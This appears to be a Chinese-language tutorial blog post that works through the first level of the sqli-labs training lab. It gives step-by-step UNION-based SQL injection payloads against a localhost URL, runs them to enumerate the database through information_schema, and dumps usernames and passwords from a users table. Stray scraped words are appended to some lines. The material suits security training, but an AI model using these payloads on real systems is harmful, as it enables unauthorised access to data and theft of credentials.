mysql注入简要流程以下图:mysql
因为还没学习完先结合sqlilabs的第一关讲解信息收集的一部分和数据注入的information_schema的有据查询。sql
老方法:数据库
and 1=1 页面正常学习
and 1=2 页面错误spa
说明可能存在注入点操作系统
最舒服的方法:orm
参数后面随便输入,被解析但未出现404可能存在注入。blog
若出现404页面说明没有注入点。it
http://127.0.0.1/sqli-labs/Less-1/?id=1 --+io
页面正常:
参数后面随便输:http://127.0.0.1/sqli-labs/Less-1/?id=1323424 --+
被解析,未报错,说明存在注入点
猜解列名数量(字段数):order by x(为可变变量) 找出错误与正确的临界值
http://127.0.0.1/sqli-labs/Less-1/?id=1' order by 3 --+
http://127.0.0.1/sqli-labs/Less-1/?id=1' order by 4 --+
由上图可知字段数为3。
?id=-1' union select 1,2,3 --+
由图可知,2,3位置可进行回显。
数据库版本:version()
数据库用户:user()
数据库名字:database()
操做系统:@@version_compile_os
数据库版本及数据库用户:
数据库名字及操做系统:
必要知识点:
在mysql5.0及以上版本中mysql存在自带的数据库名information_schema,它是一个存记录有全部数据名、表名、列名的数据库。也就至关于能够查询它获取指定数据库下的表名列名信息。
数据库中符号“.”表明下一级,如a.b表示数据库a下的b表。
information_schema.tables:记录全部表名信息的表
information_schema.columns:记录全部列名信息的表
table_schema:数据库名
table_name:表名
column_name:列名
查询security数据库下的表名信息:
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,table_name,3 from information_schema.tables where table_schema='security' --+
全部表名信息:
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
可知有4张表分别是:emails,referers,uagents,users
由上可推测用户信息可能在users表中
查询users表下的列名信息:
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
可知users表中的字段为username和password
查询users表中的数据:
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,username,password from users limit 0,1--+
猜解多个数据可以使用limit x,1(变更猜解)
可知一共有13条数据